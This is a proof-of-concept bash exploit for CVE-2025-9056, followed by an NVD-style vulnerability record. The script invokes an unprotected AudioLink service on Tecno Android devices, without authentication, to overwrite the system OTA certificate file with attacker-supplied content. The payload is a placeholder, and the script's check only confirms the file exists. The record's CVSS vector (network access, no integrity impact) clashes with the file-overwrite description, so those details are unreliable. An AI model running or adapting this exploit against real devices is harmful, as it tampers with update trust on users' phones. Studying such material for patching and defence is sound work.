CVE-2025-9056

#!/bin/bash # CVE-2025-9056 PoC - AudioLink Unprotected Service Exploitation # Target: Tecno devices with vulnerable AudioLink component VULNERABLE_SERVICE="com.tecno.audio.AudioLinkService" TARGET_FILE="/system/etc/security/otacerts.zip" MALICIOUS_CONTENT="/data/local/tmp/malicious_cert.zip" echo "[*] CVE-2025-9056 AudioLink Service Exploitation" echo "[*] Target: $TARGET_FILE" # Step 1: Prepare malicious file content cat > $MALICIOUS_CONTENT << 'EOF' # Malicious payload - replace system certificates # This demonstrates arbitrary file overwrite capability malicious_data EOF echo "[+] Step 1: Malicious content prepared" # Step 2: Invoke AudioLink service with crafted request # The vulnerable service accepts requests without authentication am startservice --user 0 \ -n $VULNERABLE_SERVICE \ --ez write_file true \ --es target_path $TARGET_FILE \ --es source_path $MALICIOUS_CONTENT echo "[+] Step 2: Service invocation sent" # Step 3: Verify file overwrite (for demonstration) if [ -f "$TARGET_FILE" ]; then echo "[!] File exists - overwrite may have succeeded" ls -la $TARGET_FILE fi echo "[*] Exploitation complete. System files may be compromised."

{"cve": {"id": "CVE-2025-9056", "sourceIdentifier": "907edf6c-bf03-423e-ab1a-8da27e1aa1ea", "published": "2025-12-10T04:15:58.667", "lastModified": "2026-01-02T21:25:41.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unprotected service in the AudioLink component allows a local attacker to overwrite system files via unauthorized service invocation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "907edf6c-bf03-423e-ab1a-8da27e1aa1ea", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tecno:audiolink:1.3.0.87:*:*:*:*:*:*:*", "matchCriteriaId": "F30A6834-68C2-4156-8EC3-F38A88F0352B"}]}]}], "references": [{"url": "https://security.tecno.com/SRC/securityUpdates", "source": "907edf6c-bf03-423e-ab1a-8da27e1aa1ea", "tags": ["Vendor Advisory"]}]}}